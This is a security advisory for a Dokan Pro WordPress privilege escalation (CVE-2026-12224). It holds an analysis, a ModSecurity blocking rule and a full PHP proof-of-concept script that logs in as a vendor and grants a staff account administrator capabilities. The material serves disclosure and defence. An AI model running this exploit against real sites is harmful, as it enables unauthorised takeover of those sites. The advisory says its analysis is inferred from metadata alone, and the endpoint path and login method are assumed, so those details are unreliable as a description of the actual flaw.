Published : June 30, 2026

CVE-2026-12224: Dokan Pro <= 5.0.4 Authenticated (Vendor+) Privilege Escalation via update_capabilities REST Endpoint PoC, Patch Analysis & Rule

Plugin dokan-pro
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 5.0.4
Patched Version
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12224 (metadata-based): This vulnerability affects the Dokan Pro plugin for WordPress, specifically versions up to and including 5.0.4. It allows an authenticated attacker with Vendor-level access (who can self-provision their account) to escalate privileges to administrator. The severity is high (CVSS 8.8) due to the potential for full site takeover.

The root cause lies in improper privilege management (CWE-269) within the `update_capabilities()` REST handler. Based on the description, Atomic Edge analysis infers that the handler accepts arbitrary capability strings from the request body and passes them directly to `WP_User::add_cap()` without any allowlist or validation of the capabilities being set. The handler only checks that the caller has the `dokandar` capability, which is typical for vendors on Dokan. This means a vendor can assign any WordPress capability, including ‘administrator’, to a ‘vendor_staff’ account. No code diff is available, so this inference relies entirely on the CVE metadata.

Exploitation requires a vendor to have the Vendor Staff module enabled on the site. The attacker authenticates as a vendor and sends a POST request to the Dokan REST API endpoint (likely under `/wp-json/dokan-pro/v1/` or similar namespace) that handles updating staff capabilities. The request body contains the user ID of a staff member and an array of capabilities including ‘administrator’. The endpoint calls `WP_User::add_cap()` with these capabilities without filtering. The attacker can then log in as the staff member who now has administrator privileges, leading to full site control.

Remediation requires the plugin to implement an allowlist of permitted capabilities for vendor staff roles. The fix should validate each capability string against a defined set of safe capabilities before passing it to `WP_User::add_cap()`. Additionally, the REST endpoint should verify that the vendor cannot escalate their own privileges and that staff accounts cannot be granted capabilities exceeding the vendor’s own capabilities.

If exploited, the impact is severe. An attacker with only Vendor-level access can gain full administrator privileges on the WordPress site. This allows complete control over the site including content manipulation, user management, plugin installation, and potentially server-level access through file uploads or code execution. The attacker can deface the site, exfiltrate user data, or use the compromised site for further attacks.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-12224 (metadata-based)
# Blocks privilege escalation via Dokan Pro update_capabilities REST endpoint
# Matching: POST to dokan-pro/v1/vendor-staff/update-capabilities with capabilities containing 'administrator'
SecRule REQUEST_URI "@rx ^/wp-json/dokan-pro/v[12]/vendor-staff/update-capabilities$" 
  "id:20261224,phase:2,deny,status:403,chain,msg:'CVE-2026-12224 privilege escalation attempt via Dokan Pro REST API',severity:'CRITICAL',tag:'CVE-2026-12224',tag:'wordpress',tag:'dokan-pro'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:capabilities "@rx administrator" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12224 - Dokan Pro <= 5.0.4 - Authenticated (Vendor+) Privilege Escalation via update_capabilities REST Endpoint

// Configuration
$target_url = 'https://example.com'; // Change to target WordPress site
$vendor_username = 'vendor_user';
$vendor_password = 'vendor_pass';
$staff_user_id = 2; // ID of vendor_staff account to escalate

// Step 1: Authenticate as vendor
$login_url = $target_url . '/wp-json/jwt-auth/v1/token'; // Assumes JWT auth plugin (common with Dokan)
$login_data = array(
    'username' => $vendor_username,
    'password' => $vendor_password
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($login_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die('[-] Authentication failed. Check credentials or JWT plugin.');
}

$token_data = json_decode($response, true);
$token = $token_data['token'];
echo '[+] Obtained vendor JWT token: ' . substr($token, 0, 20) . '...' . PHP_EOL;

// Step 2: Exploit the update_capabilities endpoint
// Assumed REST endpoint based on Dokan Pro patterns: /wp-json/dokan-pro/v1/vendor-staff/update-capabilities
$exploit_url = $target_url . '/wp-json/dokan-pro/v1/vendor-staff/update-capabilities';

$payload = array(
    'user_id' => $staff_user_id,
    'capabilities' => array(
        'administrator' => true
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Authorization: Bearer ' . $token
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo '[+] Exploit response code: ' . $http_code . PHP_EOL;
echo '[+] Response body: ' . $response . PHP_EOL;

if ($http_code === 200 || $http_code === 201) {
    echo '[+] Privilege escalation likely successful. Staff user ID ' . $staff_user_id . ' should now have administrator capabilities.' . PHP_EOL;
} else {
    echo '[-] Exploit may have failed. Check if vendor staff module is enabled and the REST endpoint matches.' . PHP_EOL;
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.